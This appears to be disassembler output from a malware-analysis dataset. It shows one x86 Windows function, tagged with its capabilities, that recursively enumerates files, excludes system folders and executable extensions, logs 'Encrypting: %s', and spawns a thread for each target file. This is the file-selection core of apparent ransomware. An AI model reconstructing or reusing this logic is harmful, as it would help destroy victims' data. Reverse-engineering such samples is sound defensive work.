Function at 0x404ae0
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
mov eax, dword [0x428004]
xor eax, esp
mov dword [esp + 0x260], eax
push ebx
push esi
mov ebx, ecx
push edi
mov dword [esp + 0xc], ebx
call fcn.00404840
push 0x8000
call fcn.0040d6b1
add esp, 4
mov esi, eax
mov dword [esp + 0x14], esi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x420a64
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [esp + 0x10], esi
cmp esi, 0xffffffff
je 0x404dd4
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x420a68
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404db9
push 0x420a6c
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404db9
mov eax, dword [esp + 0x18]
test eax, 0x400
jne 0x404db9
test al, 0x10
je 0x404cc3
push 0x420a68
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c58
push 0x420a6c
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c58
push 0x420aa4
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c58
push str.program_files
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c58
push str.program_files__x86_
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c58
push str._RECYCLE.BIN
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c58
push str.appdata
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c58
push 0x8000
call fcn.0040d6b1
add esp, 4
mov esi, eax
push dword [esp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x44]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x420aa0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, esi
call fcn.00404ae0
push esi
call fcn.0040d6ac
add esp, 4
jmp 0x404db5
push str.program_files
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c7c
push str.program_files__x86_
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
jne 0x404db5
push 0x8000
call fcn.0040d6b1
add esp, 4
mov esi, eax
push dword [esp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x44]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x420aa0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, esi
call fcn.004049a0
push esi
call fcn.0040d6ac
add esp, 4
jmp 0x404db5
test al, 4
jne 0x404db9
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub eax, 1
js 0x404d36
nop dword [eax + eax]
cmp word [esp + eax*2 + 0x44], 0x2e
je 0x404cef
sub eax, 1
jns 0x404ce0
jmp 0x404d36
lea esi, [esp + 0x44]
lea esi, [esi + eax*2]
push str..exe
push esi
call edi
test eax, eax
je 0x404db5
push str..msi
push esi
call edi
test eax, eax
je 0x404db5
push str..dll
push esi
call edi
test eax, eax
je 0x404db5
push str..inc
push esi
call edi
test eax, eax
je 0x404db5
lea eax, [esp + 0x44]
push 0x42535c
push eax
call fcn.0040a19e
add esp, 8
test eax, eax
jne 0x404db5
push 0x8000
call fcn.0040d6b1
add esp, 4
mov esi, eax
push dword [esp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x44]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 1
call ebx
push 0
push 0x4291d8
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
cmp eax, 0xc8
jg 0x404d72
cmp dword [0x4287b0], 0
je 0x404da1
push esi
push str.___Encrypting:__s_n
call fcn.00404800
add esp, 8
push 0
push 0
push esi
push 0x404960
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404b56
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [esp + 0x14]
call fcn.0040d6ac
mov ecx, dword [esp + 0x270]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004096d4
mov esp, ebp
pop ebp
ret